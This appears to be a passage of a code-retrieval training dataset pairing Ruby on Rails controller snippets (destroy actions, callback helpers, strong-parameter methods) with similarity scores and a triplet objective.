"def destroy\n render status: 200, json: @request_item.destroy\n end",
"def delete_item(item)\n @get_items.delete(item)\n end",
"def destroy\n @item = current_user.items.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def item_destroy\n @item = Item.find(params[:id])\n @item.destroy\n respond_to do |format|\n format.html { redirect_to item_index_path, notice: 'O item foi removido com sucesso.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_item = Admin::Item.find(params[:id])\n @admin_item.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @admin_item = Admin::Item.find(params[:id])\n @admin_item.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @item = Item.find(params[:id])\n @item.destroy\n\n respond_to do |format|\n format.html { redirect_to(items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_path, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: '削除に成功しました。' }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7906849",
"0.76885504",
"0.7604411",
"0.7585917",
"0.758546",
"0.758546",
"0.758546",
"0.758546",
"0.758546",
"0.758546",
"0.758546",
"0.758546",
"0.758546",
"0.758546",
"0.758546",
"0.758546",
"0.758546",
"0.758546",
"0.758546",
"0.7547388",
"0.7539847",
"0.7528851",
"0.7509601",
"0.7498011",
"0.74881107",
"0.74881107",
"0.74881107",
"0.74881107",
"0.74881107",
"0.74881107",
"0.74881107",
"0.74881107",
"0.74881107",
"0.74881107",
"0.7458705",
"0.7455512",
"0.7431493",
"0.7417056",
"0.74064195",
"0.73827004",
"0.73556334",
"0.73521996",
"0.7334829",
"0.7322859",
"0.7318489",
"0.7316946",
"0.7299613",
"0.72877073",
"0.7247646",
"0.7245776",
"0.7244305",
"0.7227808",
"0.7223437",
"0.7196988",
"0.7196988",
"0.7196767",
"0.7196767",
"0.7196767",
"0.7196767",
"0.7196767",
"0.7196767",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196719",
"0.7196451",
"0.7195314"
] |
0.0
|
-1
|
Use callbacks to share common setup or constraints between actions.
|
def set_item
@item = Item.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def item_params
params.require(:item).permit(:title, :price, :description, :category_id,
:with_discount, :discount)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def valid_params_request?; end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def url_whitelist; end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
